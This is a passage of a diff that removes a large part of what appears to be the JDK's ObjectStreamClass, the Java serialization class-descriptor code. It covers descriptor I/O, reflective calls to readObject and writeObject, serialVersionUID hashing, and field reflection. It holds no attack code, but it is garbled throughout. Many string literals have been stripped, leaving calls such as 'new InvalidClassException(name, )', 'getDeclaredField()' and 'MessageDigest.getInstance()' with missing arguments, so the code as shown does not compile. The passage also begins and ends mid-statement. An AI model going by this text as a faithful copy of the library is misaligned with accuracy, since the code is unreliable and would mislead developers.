in.readByte(); - hasWriteObjectData = - ((flags & ObjectStreamConstants.SC_WRITE_METHOD) != 0); - hasBlockExternalData = - ((flags & ObjectStreamConstants.SC_BLOCK_DATA) != 0); - externalizable = - ((flags & ObjectStreamConstants.SC_EXTERNALIZABLE) != 0); - boolean sflag = - ((flags & ObjectStreamConstants.SC_SERIALIZABLE) != 0); - if (externalizable && sflag) { - throw new InvalidClassException( - name, ); - } - serializable = externalizable || sflag; - isEnum = ((flags & ObjectStreamConstants.SC_ENUM) != 0); - if (isEnum && suid.longValue() != 0L) { - throw new InvalidClassException(name, - + suid); - } - - int numFields = in.readShort(); - if (isEnum && numFields != 0) { - throw new InvalidClassException(name, - + numFields); - } - fields = (numFields > 0) ? - new ObjectStreamField[numFields] : NO_FIELDS; - for (int i = 0; i < numFields; i++) { - char tcode = (char) in.readByte(); - String fname = in.readUTF(); - String signature = ((tcode == 'L') || (tcode == '[')) ? - in.readTypeString() : String.valueOf(tcode); - try { - fields[i] = new ObjectStreamField(fname, signature, false); - } catch (RuntimeException e) { - throw new InvalidClassException(name, - + - fname, e); - } - } - computeFieldOffsets(); - } - - /** - * Writes non-proxy class descriptor information to given output stream. - */ - void writeNonProxy(ObjectOutputStream out) throws IOException { - out.writeUTF(name); - out.writeLong(getSerialVersionUID()); - - byte flags = 0; - if (externalizable) { - flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; - int protocol = out.getProtocolVersion(); - if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { - flags |= ObjectStreamConstants.SC_BLOCK_DATA; - } - } else if (serializable) { - flags |= ObjectStreamConstants.SC_SERIALIZABLE; - } - if (hasWriteObjectData) { - flags |= ObjectStreamConstants.SC_WRITE_METHOD; - } - if (isEnum) { - flags |= ObjectStreamConstants.SC_ENUM; - } - out.writeByte(flags); - - out.writeShort(fields.length); - for (int i = 0; i < fields.length; i++) { - ObjectStreamField f = fields[i]; - out.writeByte(f.getTypeCode()); - out.writeUTF(f.getName()); - if (!f.isPrimitive()) { - out.writeTypeString(f.getTypeString()); - } - } - } - - /** - * Returns ClassNotFoundException (if any) thrown while attempting to - * resolve local class corresponding to this class descriptor. - */ - ClassNotFoundException getResolveException() { - return resolveEx; - } - - /** - * Throws InternalError if not initialized. - */ - private final void requireInitialized() { - if (!initialized) - throw new InternalError(); - } - - /** - * Throws InvalidClassException if not initialized. - * To be called in cases where an uninitialized class descriptor indicates - * a problem in the serialization stream. - */ - final void checkInitialized() throws InvalidClassException { - if (!initialized) { - throw new InvalidClassException(); - } - } - - /** - * Throws an InvalidClassException if object instances referencing this - * class descriptor should not be allowed to deserialize. This method does - * not apply to deserialization of enum constants. - */ - void checkDeserialize() throws InvalidClassException { - requireInitialized(); - if (deserializeEx != null) { - throw deserializeEx.newInvalidClassException(); - } - } - - /** - * Throws an InvalidClassException if objects whose class is represented by - * this descriptor should not be allowed to serialize. This method does - * not apply to serialization of enum constants. - */ - void checkSerialize() throws InvalidClassException { - requireInitialized(); - if (serializeEx != null) { - throw serializeEx.newInvalidClassException(); - } - } - - /** - * Throws an InvalidClassException if objects whose class is represented by - * this descriptor should not be permitted to use default serialization - * (e.g., if the class declares serializable fields that do not correspond - * to actual fields, and hence must use the GetField API). This method - * does not apply to deserialization of enum constants. - */ - void checkDefaultSerialize() throws InvalidClassException { - requireInitialized(); - if (defaultSerializeEx != null) { - throw defaultSerializeEx.newInvalidClassException(); - } - } - - /** - * Returns superclass descriptor. Note that on the receiving side, the - * superclass descriptor may be bound to a class that is not a superclass - * of the subclass descriptor's bound class. - */ - ObjectStreamClass getSuperDesc() { - requireInitialized(); - return superDesc; - } - - /** - * Returns the class descriptor for the class associated with this - * class descriptor (i.e., the result of - * ObjectStreamClass.lookup(this.forClass())) or null if there is no class - * associated with this descriptor. - */ - ObjectStreamClass getLocalDesc() { - requireInitialized(); - return localDesc; - } - - /** - * Returns arrays of ObjectStreamFields representing the serializable - * fields of the represented class. If copy is true, a clone of this class - * descriptor's field array is returned, otherwise the array itself is - * returned. - */ - ObjectStreamField[] getFields(boolean copy) { - return copy ? fields.clone() : fields; - } - - /** - * Looks up a serializable field of the represented class by name and type. - * A specified type of null matches all types, Object.class matches all - * non-primitive types, and any other non-null type matches assignable - * types only. Returns matching field, or null if no match found. - */ - ObjectStreamField getField(String name, Class type) { - for (int i = 0; i < fields.length; i++) { - ObjectStreamField f = fields[i]; - if (f.getName().equals(name)) { - if (type == null || - (type == Object.class && !f.isPrimitive())) - { - return f; - } - Class ftype = f.getType(); - if (ftype != null && type.isAssignableFrom(ftype)) { - return f; - } - } - } - return null; - } - - /** - * Returns true if class descriptor represents a dynamic proxy class, false - * otherwise. - */ - boolean isProxy() { - requireInitialized(); - return isProxy; - } - - /** - * Returns true if class descriptor represents an enum type, false - * otherwise. - */ - boolean isEnum() { - requireInitialized(); - return isEnum; - } - - /** - * Returns true if class descriptor represents a record type, false - * otherwise. - */ - boolean isRecord() { - requireInitialized(); - return isRecord; - } - - /** - * Returns true if represented class implements Externalizable, false - * otherwise. - */ - boolean isExternalizable() { - requireInitialized(); - return externalizable; - } - - /** - * Returns true if represented class implements Serializable, false - * otherwise. - */ - boolean isSerializable() { - requireInitialized(); - return serializable; - } - - /** - * Returns true if class descriptor represents externalizable class that - * has written its data in 1.2 (block data) format, false otherwise. - */ - boolean hasBlockExternalData() { - requireInitialized(); - return hasBlockExternalData; - } - - /** - * Returns true if class descriptor represents serializable (but not - * externalizable) class which has written its data via a custom - * writeObject() method, false otherwise. - */ - boolean hasWriteObjectData() { - requireInitialized(); - return hasWriteObjectData; - } - - /** - * Returns true if represented class is serializable/externalizable and can - * be instantiated by the serialization runtime--i.e., if it is - * externalizable and defines a public no-arg constructor, or if it is - * non-externalizable and its first non-serializable superclass defines an - * accessible no-arg constructor. Otherwise, returns false. - */ - boolean isInstantiable() { - requireInitialized(); - return (cons != null); - } - - /** - * Returns true if represented class is serializable (but not - * externalizable) and defines a conformant writeObject method. Otherwise, - * returns false. - */ - boolean hasWriteObjectMethod() { - requireInitialized(); - return (writeObjectMethod != null); - } - - /** - * Returns true if represented class is serializable (but not - * externalizable) and defines a conformant readObject method. Otherwise, - * returns false. - */ - boolean hasReadObjectMethod() { - requireInitialized(); - return (readObjectMethod != null); - } - - /** - * Returns true if represented class is serializable (but not - * externalizable) and defines a conformant readObjectNoData method. - * Otherwise, returns false. - */ - boolean hasReadObjectNoDataMethod() { - requireInitialized(); - return (readObjectNoDataMethod != null); - } - - /** - * Returns true if represented class is serializable or externalizable and - * defines a conformant writeReplace method. Otherwise, returns false. - */ - boolean hasWriteReplaceMethod() { - requireInitialized(); - return (writeReplaceMethod != null); - } - - /** - * Returns true if represented class is serializable or externalizable and - * defines a conformant readResolve method. Otherwise, returns false. - */ - boolean hasReadResolveMethod() { - requireInitialized(); - return (readResolveMethod != null); - } - - /** - * Creates a new instance of the represented class. If the class is - * externalizable, invokes its public no-arg constructor; otherwise, if the - * class is serializable, invokes the no-arg constructor of the first - * non-serializable superclass. Throws UnsupportedOperationException if - * this class descriptor is not associated with a class, if the associated - * class is non-serializable or if the appropriate no-arg constructor is - * inaccessible/unavailable. - */ - @SuppressWarnings() - Object newInstance() - throws InstantiationException, InvocationTargetException, - UnsupportedOperationException - { - requireInitialized(); - if (cons != null) { - try { - if (domains == null || domains.length == 0) { - return cons.newInstance(); - } else { - JavaSecurityAccess jsa = SharedSecrets.getJavaSecurityAccess(); - PrivilegedAction pea = () -> { - try { - return cons.newInstance(); - } catch (InstantiationException - | InvocationTargetException - | IllegalAccessException x) { - throw new UndeclaredThrowableException(x); - } - }; // Can't use PrivilegedExceptionAction with jsa - try { - return jsa.doIntersectionPrivilege(pea, - AccessController.getContext(), - new AccessControlContext(domains)); - } catch (UndeclaredThrowableException x) { - Throwable cause = x.getCause(); - if (cause instanceof InstantiationException ie) - throw ie; - if (cause instanceof InvocationTargetException ite) - throw ite; - if (cause instanceof IllegalAccessException iae) - throw iae; - // not supposed to happen - throw x; - } - } - } catch (IllegalAccessException ex) { - // should not occur, as access checks have been suppressed - throw new InternalError(ex); - } catch (InvocationTargetException ex) { - Throwable cause = ex.getCause(); - if (cause instanceof Error err) - throw err; - else - throw ex; - } catch (InstantiationError err) { - var ex = new InstantiationException(); - ex.initCause(err); - throw ex; - } - } else { - throw new UnsupportedOperationException(); - } - } - - /** - * Invokes the writeObject method of the represented serializable class. - * Throws UnsupportedOperationException if this class descriptor is not - * associated with a class, or if the class is externalizable, - * non-serializable or does not define writeObject. - */ - void invokeWriteObject(Object obj, ObjectOutputStream out) - throws IOException, UnsupportedOperationException - { - requireInitialized(); - if (writeObjectMethod != null) { - try { - writeObjectMethod.invoke(obj, new Object[]{ out }); - } catch (InvocationTargetException ex) { - Throwable th = ex.getCause(); - if (th instanceof IOException) { - throw (IOException) th; - } else { - throwMiscException(th); - } - } catch (IllegalAccessException ex) { - // should not occur, as access checks have been suppressed - throw new InternalError(ex); - } - } else { - throw new UnsupportedOperationException(); - } - } - - /** - * Invokes the readObject method of the represented serializable class. - * Throws UnsupportedOperationException if this class descriptor is not - * associated with a class, or if the class is externalizable, - * non-serializable or does not define readObject. - */ - void invokeReadObject(Object obj, ObjectInputStream in) - throws ClassNotFoundException, IOException, - UnsupportedOperationException - { - requireInitialized(); - if (readObjectMethod != null) { - try { - readObjectMethod.invoke(obj, new Object[]{ in }); - } catch (InvocationTargetException ex) { - Throwable th = ex.getCause(); - if (th instanceof ClassNotFoundException) { - throw (ClassNotFoundException) th; - } else if (th instanceof IOException) { - throw (IOException) th; - } else { - throwMiscException(th); - } - } catch (IllegalAccessException ex) { - // should not occur, as access checks have been suppressed - throw new InternalError(ex); - } - } else { - throw new UnsupportedOperationException(); - } - } - - /** - * Invokes the readObjectNoData method of the represented serializable - * class. Throws UnsupportedOperationException if this class descriptor is - * not associated with a class, or if the class is externalizable, - * non-serializable or does not define readObjectNoData. - */ - void invokeReadObjectNoData(Object obj) - throws IOException, UnsupportedOperationException - { - requireInitialized(); - if (readObjectNoDataMethod != null) { - try { - readObjectNoDataMethod.invoke(obj, (Object[]) null); - } catch (InvocationTargetException ex) { - Throwable th = ex.getCause(); - if (th instanceof ObjectStreamException) { - throw (ObjectStreamException) th; - } else { - throwMiscException(th); - } - } catch (IllegalAccessException ex) { - // should not occur, as access checks have been suppressed - throw new InternalError(ex); - } - } else { - throw new UnsupportedOperationException(); - } - } - - /** - * Invokes the writeReplace method of the represented serializable class and - * returns the result. Throws UnsupportedOperationException if this class - * descriptor is not associated with a class, or if the class is - * non-serializable or does not define writeReplace. - */ - Object invokeWriteReplace(Object obj) - throws IOException, UnsupportedOperationException - { - requireInitialized(); - if (writeReplaceMethod != null) { - try { - return writeReplaceMethod.invoke(obj, (Object[]) null); - } catch (InvocationTargetException ex) { - Throwable th = ex.getCause(); - if (th instanceof ObjectStreamException) { - throw (ObjectStreamException) th; - } else { - throwMiscException(th); - throw new InternalError(th); // never reached - } - } catch (IllegalAccessException ex) { - // should not occur, as access checks have been suppressed - throw new InternalError(ex); - } - } else { - throw new UnsupportedOperationException(); - } - } - - /** - * Invokes the readResolve method of the represented serializable class and - * returns the result. Throws UnsupportedOperationException if this class - * descriptor is not associated with a class, or if the class is - * non-serializable or does not define readResolve. - */ - Object invokeReadResolve(Object obj) - throws IOException, UnsupportedOperationException - { - requireInitialized(); - if (readResolveMethod != null) { - try { - return readResolveMethod.invoke(obj, (Object[]) null); - } catch (InvocationTargetException ex) { - Throwable th = ex.getCause(); - if (th instanceof ObjectStreamException) { - throw (ObjectStreamException) th; - } else { - throwMiscException(th); - throw new InternalError(th); // never reached - } - } catch (IllegalAccessException ex) { - // should not occur, as access checks have been suppressed - throw new InternalError(ex); - } - } else { - throw new UnsupportedOperationException(); - } - } - - /** - * Class representing the portion of an object's serialized form allotted - * to data described by a given class descriptor. If is false, - * the object's serialized form does not contain data associated with the - * class descriptor. - */ - static class ClassDataSlot { - - /** class descriptor this slot */ - final ObjectStreamClass desc; - /** true if serialized form includes data for this slot's descriptor */ - final boolean hasData; - - ClassDataSlot(ObjectStreamClass desc, boolean hasData) { - this.desc = desc; - this.hasData = hasData; - } - } - - /** - * Returns array of ClassDataSlot instances representing the data layout - * (including superclass data) for serialized objects described by this - * class descriptor. ClassDataSlots are ordered by inheritance with those - * containing superclasses appearing first. The final - * ClassDataSlot contains a reference to this descriptor. - */ - ClassDataSlot[] getClassDataLayout() throws InvalidClassException { - // REMIND: synchronize instead of relying on volatile? - if (dataLayout == null) { - dataLayout = getClassDataLayout0(); - } - return dataLayout; - } - - private ClassDataSlot[] getClassDataLayout0() - throws InvalidClassException - { - ArrayList slots = new ArrayList<>(); - Class start = cl, end = cl; - - // locate closest non-serializable superclass - while (end != null && Serializable.class.isAssignableFrom(end)) { - end = end.getSuperclass(); - } - - HashSet oscNames = new HashSet<>(3); - - for (ObjectStreamClass d = this; d != null; d = d.superDesc) { - if (oscNames.contains(d.name)) { - throw new InvalidClassException(); - } else { - oscNames.add(d.name); - } - - // search up inheritance hierarchy for class with matching name - String searchName = (d.cl != null) ? d.cl.getName() : d.name; - Class match = null; - for (Class c = start; c != end; c = c.getSuperclass()) { - if (searchName.equals(c.getName())) { - match = c; - break; - } - } - - // add slot for each unmatched class below match - if (match != null) { - for (Class c = start; c != match; c = c.getSuperclass()) { - slots.add(new ClassDataSlot( - ObjectStreamClass.lookup(c, true), false)); - } - start = match.getSuperclass(); - } - - // record descriptor/class pairing - slots.add(new ClassDataSlot(d.getVariantFor(match), true)); - } - - // add slot for any leftover unmatched classes - for (Class c = start; c != end; c = c.getSuperclass()) { - slots.add(new ClassDataSlot( - ObjectStreamClass.lookup(c, true), false)); - } - - // order slots from superclass -> subclass - Collections.reverse(slots); - return slots.toArray(new ClassDataSlot[slots.size()]); - } - - /** - * Returns aggregate size (in bytes) of marshalled primitive field values - * for represented class. - */ - int getPrimDataSize() { - return primDataSize; - } - - /** - * Returns number of non-primitive serializable fields of represented - * class. - */ - int getNumObjFields() { - return numObjFields; - } - - /** - * Fetches the serializable primitive field values of object obj and - * marshals them into byte array buf starting at offset 0. It is the - * responsibility of the caller to ensure that obj is of the proper type if - * non-null. - */ - void getPrimFieldValues(Object obj, byte[] buf) { - fieldRefl.getPrimFieldValues(obj, buf); - } - - /** - * Sets the serializable primitive fields of object obj using values - * unmarshalled from byte array buf starting at offset 0. It is the - * responsibility of the caller to ensure that obj is of the proper type if - * non-null. - */ - void setPrimFieldValues(Object obj, byte[] buf) { - fieldRefl.setPrimFieldValues(obj, buf); - } - - /** - * Fetches the serializable object field values of object obj and stores - * them in array vals starting at offset 0. It is the responsibility of - * the caller to ensure that obj is of the proper type if non-null. - */ - void getObjFieldValues(Object obj, Object[] vals) { - fieldRefl.getObjFieldValues(obj, vals); - } - - /** - * Checks that the given values, from array vals starting at offset 0, - * are assignable to the given serializable object fields. - * @throws ClassCastException if any value is not assignable - */ - void checkObjFieldValueTypes(Object obj, Object[] vals) { - fieldRefl.checkObjectFieldValueTypes(obj, vals); - } - - /** - * Sets the serializable object fields of object obj using values from - * array vals starting at offset 0. It is the responsibility of the caller - * to ensure that obj is of the proper type if non-null. - */ - void setObjFieldValues(Object obj, Object[] vals) { - fieldRefl.setObjFieldValues(obj, vals); - } - - /** - * Calculates and sets serializable field offsets, as well as primitive - * data size and object field count totals. Throws InvalidClassException - * if fields are illegally ordered. - */ - private void computeFieldOffsets() throws InvalidClassException { - primDataSize = 0; - numObjFields = 0; - int firstObjIndex = -1; - - for (int i = 0; i < fields.length; i++) { - ObjectStreamField f = fields[i]; - switch (f.getTypeCode()) { - case 'Z', 'B' -> f.setOffset(primDataSize++); - case 'C', 'S' -> { - f.setOffset(primDataSize); - primDataSize += 2; - } - case 'I', 'F' -> { - f.setOffset(primDataSize); - primDataSize += 4; - } - case 'J', 'D' -> { - f.setOffset(primDataSize); - primDataSize += 8; - } - case '[', 'L' -> { - f.setOffset(numObjFields++); - if (firstObjIndex == -1) { - firstObjIndex = i; - } - } - default -> throw new InternalError(); - } - } - if (firstObjIndex != -1 && - firstObjIndex + numObjFields != fields.length) - { - throw new InvalidClassException(name, ); - } - } - - /** - * If given class is the same as the class associated with this class - * descriptor, returns reference to this class descriptor. Otherwise, - * returns variant of this class descriptor bound to given class. - */ - private ObjectStreamClass getVariantFor(Class cl) - throws InvalidClassException - { - if (this.cl == cl) { - return this; - } - ObjectStreamClass desc = new ObjectStreamClass(); - if (isProxy) { - desc.initProxy(cl, null, superDesc); - } else { - desc.initNonProxy(this, cl, null, superDesc); - } - return desc; - } - - /** - * Returns public no-arg constructor of given class, or null if none found. - * Access checks are disabled on the returned constructor (if any), since - * the defining class may still be non-public. - */ - private static Constructor getExternalizableConstructor(Class cl) { - try { - Constructor cons = cl.getDeclaredConstructor((Class[]) null); - cons.setAccessible(true); - return ((cons.getModifiers() & Modifier.PUBLIC) != 0) ? - cons : null; - } catch (NoSuchMethodException ex) { - return null; - } - } - - /** - * Returns subclass-accessible no-arg constructor of first non-serializable - * superclass, or null if none found. Access checks are disabled on the - * returned constructor (if any). - */ - private static Constructor getSerializableConstructor(Class cl) { - return reflFactory.newConstructorForSerialization(cl); - } - - /** - * Returns the canonical constructor for the given record class, or null if - * the not found ( which should never happen for correctly generated record - * classes ). - */ - @SuppressWarnings() - private static MethodHandle canonicalRecordCtr(Class cls) { - assert cls.isRecord() : + cls; - PrivilegedAction pa = () -> { - Class[] paramTypes = Arrays.stream(cls.getRecordComponents()) - .map(RecordComponent::getType) - .toArray(Class[]::new); - try { - Constructor ctr = cls.getDeclaredConstructor(paramTypes); - ctr.setAccessible(true); - return MethodHandles.lookup().unreflectConstructor(ctr); - } catch (IllegalAccessException | NoSuchMethodException e) { - return null; - } - }; - return AccessController.doPrivileged(pa); - } - - /** - * Returns the canonical constructor, if the local class equivalent of this - * stream class descriptor is a record class, otherwise null. - */ - MethodHandle getRecordConstructor() { - return canonicalCtr; - } - - /** - * Returns non-static, non-abstract method with given signature provided it - * is defined by or accessible (via inheritance) by the given class, or - * null if no match found. Access checks are disabled on the returned - * method (if any). - */ - private static Method getInheritableMethod(Class cl, String name, - Class[] argTypes, - Class returnType) - { - Method meth = null; - Class defCl = cl; - while (defCl != null) { - try { - meth = defCl.getDeclaredMethod(name, argTypes); - break; - } catch (NoSuchMethodException ex) { - defCl = defCl.getSuperclass(); - } - } - - if ((meth == null) || (meth.getReturnType() != returnType)) { - return null; - } - meth.setAccessible(true); - int mods = meth.getModifiers(); - if ((mods & (Modifier.STATIC | Modifier.ABSTRACT)) != 0) { - return null; - } else if ((mods & (Modifier.PUBLIC | Modifier.PROTECTED)) != 0) { - return meth; - } else if ((mods & Modifier.PRIVATE) != 0) { - return (cl == defCl) ? meth : null; - } else { - return packageEquals(cl, defCl) ? meth : null; - } - } - - /** - * Returns non-static private method with given signature defined by given - * class, or null if none found. Access checks are disabled on the - * returned method (if any). - */ - private static Method getPrivateMethod(Class cl, String name, - Class[] argTypes, - Class returnType) - { - try { - Method meth = cl.getDeclaredMethod(name, argTypes); - meth.setAccessible(true); - int mods = meth.getModifiers(); - return ((meth.getReturnType() == returnType) && - ((mods & Modifier.STATIC) == 0) && - ((mods & Modifier.PRIVATE) != 0)) ? meth : null; - } catch (NoSuchMethodException ex) { - return null; - } - } - - /** - * Returns true if classes are defined in the same runtime package, false - * otherwise. - */ - private static boolean packageEquals(Class cl1, Class cl2) { - return cl1.getClassLoader() == cl2.getClassLoader() && - cl1.getPackageName() == cl2.getPackageName(); - } - - /** - * Compares class names for equality, ignoring package names. Returns true - * if class names equal, false otherwise. - */ - private static boolean classNamesEqual(String name1, String name2) { - int idx1 = name1.lastIndexOf('.') + 1; - int idx2 = name2.lastIndexOf('.') + 1; - int len1 = name1.length() - idx1; - int len2 = name2.length() - idx2; - return len1 == len2 && - name1.regionMatches(idx1, name2, idx2, len1); - } - - /** - * Returns JVM type signature for given list of parameters and return type. - */ - private static String getMethodSignature(Class[] paramTypes, - Class retType) - { - StringBuilder sb = new StringBuilder(); - sb.append('('); - for (int i = 0; i < paramTypes.length; i++) { - sb.append(paramTypes[i].descriptorString()); - } - sb.append(')'); - sb.append(retType.descriptorString()); - return sb.toString(); - } - - /** - * Convenience method for throwing an exception that is either a - * RuntimeException, Error, or of some unexpected type (in which case it is - * wrapped inside an IOException). - */ - private static void throwMiscException(Throwable th) throws IOException { - if (th instanceof RuntimeException) { - throw (RuntimeException) th; - } else if (th instanceof Error) { - throw (Error) th; - } else { - throw new IOException(, th); - } - } - - /** - * Returns ObjectStreamField array describing the serializable fields of - * the given class. Serializable fields backed by an actual field of the - * class are represented by ObjectStreamFields with corresponding non-null - * Field objects. Throws InvalidClassException if the (explicitly - * declared) serializable fields are invalid. - */ - private static ObjectStreamField[] getSerialFields(Class cl) - throws InvalidClassException - { - if (!Serializable.class.isAssignableFrom(cl)) - return NO_FIELDS; - - ObjectStreamField[] fields; - if (cl.isRecord()) { - fields = getDefaultSerialFields(cl); - Arrays.sort(fields); - } else if (!Externalizable.class.isAssignableFrom(cl) && - !Proxy.isProxyClass(cl) && - !cl.isInterface()) { - if ((fields = getDeclaredSerialFields(cl)) == null) { - fields = getDefaultSerialFields(cl); - } - Arrays.sort(fields); - } else { - fields = NO_FIELDS; - } - return fields; - } - - /** - * Returns serializable fields of given class as defined explicitly by a - * field, or null if no appropriate - * field is defined. Serializable fields backed - * by an actual field of the class are represented by ObjectStreamFields - * with corresponding non-null Field objects. For compatibility with past - * releases, a field with a null value is - * considered equivalent to not declaring . Throws - * InvalidClassException if the declared serializable fields are - * invalid--e.g., if multiple fields share the same name. - */ - private static ObjectStreamField[] getDeclaredSerialFields(Class cl) - throws InvalidClassException - { - ObjectStreamField[] serialPersistentFields = null; - try { - Field f = cl.getDeclaredField(); - int mask = Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL; - if ((f.getModifiers() & mask) == mask) { - f.setAccessible(true); - serialPersistentFields = (ObjectStreamField[]) f.get(null); - } - } catch (Exception ex) { - } - if (serialPersistentFields == null) { - return null; - } else if (serialPersistentFields.length == 0) { - return NO_FIELDS; - } - - ObjectStreamField[] boundFields = - new ObjectStreamField[serialPersistentFields.length]; - Set fieldNames = HashSet.newHashSet(serialPersistentFields.length); - - for (int i = 0; i < serialPersistentFields.length; i++) { - ObjectStreamField spf = serialPersistentFields[i]; - - String fname = spf.getName(); - if (fieldNames.contains(fname)) { - throw new InvalidClassException( - + fname); - } - fieldNames.add(fname); - - try { - Field f = cl.getDeclaredField(fname); - if ((f.getType() == spf.getType()) && - ((f.getModifiers() & Modifier.STATIC) == 0)) - { - boundFields[i] = - new ObjectStreamField(f, spf.isUnshared(), true); - } - } catch (NoSuchFieldException ex) { - } - if (boundFields[i] == null) { - boundFields[i] = new ObjectStreamField( - fname, spf.getType(), spf.isUnshared()); - } - } - return boundFields; - } - - /** - * Returns array of ObjectStreamFields corresponding to all non-static - * non-transient fields declared by given class. Each ObjectStreamField - * contains a Field object for the field it represents. If no default - * serializable fields exist, NO_FIELDS is returned. - */ - private static ObjectStreamField[] getDefaultSerialFields(Class cl) { - Field[] clFields = cl.getDeclaredFields(); - ArrayList list = new ArrayList<>(); - int mask = Modifier.STATIC | Modifier.TRANSIENT; - - for (int i = 0; i < clFields.length; i++) { - if ((clFields[i].getModifiers() & mask) == 0) { - list.add(new ObjectStreamField(clFields[i], false, true)); - } - } - int size = list.size(); - return (size == 0) ? NO_FIELDS : - list.toArray(new ObjectStreamField[size]); - } - - /** - * Returns explicit serial version UID value declared by given class, or - * null if none. - */ - private static Long getDeclaredSUID(Class cl) { - try { - Field f = cl.getDeclaredField(); - int mask = Modifier.STATIC | Modifier.FINAL; - if ((f.getModifiers() & mask) == mask) { - f.setAccessible(true); - return f.getLong(null); - } - } catch (Exception ex) { - } - return null; - } - - /** - * Computes the default serial version UID value for the given class. - */ - private static long computeDefaultSUID(Class cl) { - if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl)) - { - return 0L; - } - - try { - ByteArrayOutputStream bout = new ByteArrayOutputStream(); - DataOutputStream dout = new DataOutputStream(bout); - - dout.writeUTF(cl.getName()); - - int classMods = cl.getModifiers() & - (Modifier.PUBLIC | Modifier.FINAL | - Modifier.INTERFACE | Modifier.ABSTRACT); - - /* - * compensate for javac bug in which ABSTRACT bit was set for an - * interface only if the interface declared methods - */ - Method[] methods = cl.getDeclaredMethods(); - if ((classMods & Modifier.INTERFACE) != 0) { - classMods = (methods.length > 0) ? - (classMods | Modifier.ABSTRACT) : - (classMods & ~Modifier.ABSTRACT); - } - dout.writeInt(classMods); - - if (!cl.isArray()) { - /* - * compensate for change in 1.2FCS in which - * Class.getInterfaces() was modified to return Cloneable and - * Serializable for array classes. - */ - Class[] interfaces = cl.getInterfaces(); - String[] ifaceNames = new String[interfaces.length]; - for (int i = 0; i < interfaces.length; i++) { - ifaceNames[i] = interfaces[i].getName(); - } - Arrays.sort(ifaceNames); - for (int i = 0; i < ifaceNames.length; i++) { - dout.writeUTF(ifaceNames[i]); - } - } - - Field[] fields = cl.getDeclaredFields(); - MemberSignature[] fieldSigs = new MemberSignature[fields.length]; - for (int i = 0; i < fields.length; i++) { - fieldSigs[i] = new MemberSignature(fields[i]); - } - Arrays.sort(fieldSigs, new Comparator<>() { - public int compare(MemberSignature ms1, MemberSignature ms2) { - return ms1.name.compareTo(ms2.name); - } - }); - for (int i = 0; i < fieldSigs.length; i++) { - MemberSignature sig = fieldSigs[i]; - int mods = sig.member.getModifiers() & - (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | - Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE | - Modifier.TRANSIENT); - if (((mods & Modifier.PRIVATE) == 0) || - ((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0)) - { - dout.writeUTF(sig.name); - dout.writeInt(mods); - dout.writeUTF(sig.signature); - } - } - - if (hasStaticInitializer(cl)) { - dout.writeUTF(); - dout.writeInt(Modifier.STATIC); - dout.writeUTF(); - } - - Constructor[] cons = cl.getDeclaredConstructors(); - MemberSignature[] consSigs = new MemberSignature[cons.length]; - for (int i = 0; i < cons.length; i++) { - consSigs[i] = new MemberSignature(cons[i]); - } - Arrays.sort(consSigs, new Comparator<>() { - public int compare(MemberSignature ms1, MemberSignature ms2) { - return ms1.signature.compareTo(ms2.signature); - } - }); - for (int i = 0; i < consSigs.length; i++) { - MemberSignature sig = consSigs[i]; - int mods = sig.member.getModifiers() & - (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | - Modifier.STATIC | Modifier.FINAL | - Modifier.SYNCHRONIZED | Modifier.NATIVE | - Modifier.ABSTRACT | Modifier.STRICT); - if ((mods & Modifier.PRIVATE) == 0) { - dout.writeUTF(); - dout.writeInt(mods); - dout.writeUTF(sig.signature.replace('/', '.')); - } - } - - MemberSignature[] methSigs = new MemberSignature[methods.length]; - for (int i = 0; i < methods.length; i++) { - methSigs[i] = new MemberSignature(methods[i]); - } - Arrays.sort(methSigs, new Comparator<>() { - public int compare(MemberSignature ms1, MemberSignature ms2) { - int comp = ms1.name.compareTo(ms2.name); - if (comp == 0) { - comp = ms1.signature.compareTo(ms2.signature); - } - return comp; - } - }); - for (int i = 0; i < methSigs.length; i++) { - MemberSignature sig = methSigs[i]; - int mods = sig.member.getModifiers() & - (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED | - Modifier.STATIC | Modifier.FINAL | - Modifier.SYNCHRONIZED | Modifier.NATIVE | - Modifier.ABSTRACT | Modifier.STRICT); - if ((mods & Modifier.PRIVATE) == 0) { - dout.writeUTF(sig.name); - dout.writeInt(mods); - dout.writeUTF(sig.signature.replace('/', '.')); - } - } - - dout.flush(); - - MessageDigest md = MessageDigest.getInstance(); - byte[] hashBytes = md.digest(bout.toByteArray()); - long hash = 0; - for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) { - hash = (hash << 8) | (hashBytes[i] & 0xFF); - } - return hash; - } catch (IOException ex) { - throw new InternalError(ex); - } catch (NoSuchAlgorithmException ex) { - throw new SecurityException(ex.getMessage()); - } - } - - /** - * Returns true if the given class defines a static initializer method, - * false otherwise. - */ - private static native boolean hasStaticInitializer(Class cl); - - /** - * Class for computing and caching field/constructor/method signatures - * during serialVersionUID calculation. - */ - private static final class MemberSignature { - - public final Member member; - public final String name; - public final String signature; - - public MemberSignature(Field field) { - member = field; - name = field.getName(); - signature = field.getType().descriptorString(); - } - - public MemberSignature(Constructor cons) { - member = cons; - name = cons.getName(); - signature = getMethodSignature( - cons.getParameterTypes(), Void.TYPE); - } - - public MemberSignature(Method meth) { - member = meth; - name = meth.getName(); - signature = getMethodSignature( - meth.getParameterTypes(), meth.getReturnType()); - } - } - - /** - * Class for setting and retrieving serializable field values in batch. - */ - // REMIND: dynamically generate these? - private static final class FieldReflector { - - /** handle for performing unsafe operations */ - private static final Unsafe UNSAFE = Unsafe.getUnsafe(); - - /** fields to operate on */ - private final ObjectStreamField[] fields; - /** number of primitive fields */ - private final int numPrimFields; - /** unsafe field keys for reading fields - may contain dupes */ - private final long[] readKeys; - /** unsafe fields keys for writing fields - no dupes */ - private final long[] writeKeys; - /** field data offsets */ - private final int[] offsets; - /** field type codes */ - private final char[] typeCodes; - /** field types */ - private final Class[] types; - - /** - * Constructs FieldReflector capable of setting/getting values from the - * subset of fields whose ObjectStreamFields contain non-null - * reflective Field objects. ObjectStreamFields with null Fields are - * treated as filler, for which get operations return default values - * and set operations discard given values. - */ - FieldReflector(ObjectStreamField[] fields) { - this.fields = fields; - int nfields = fields.length; - readKeys = new long[nfields]; - writeKeys = new long[nfields]; - offsets = new 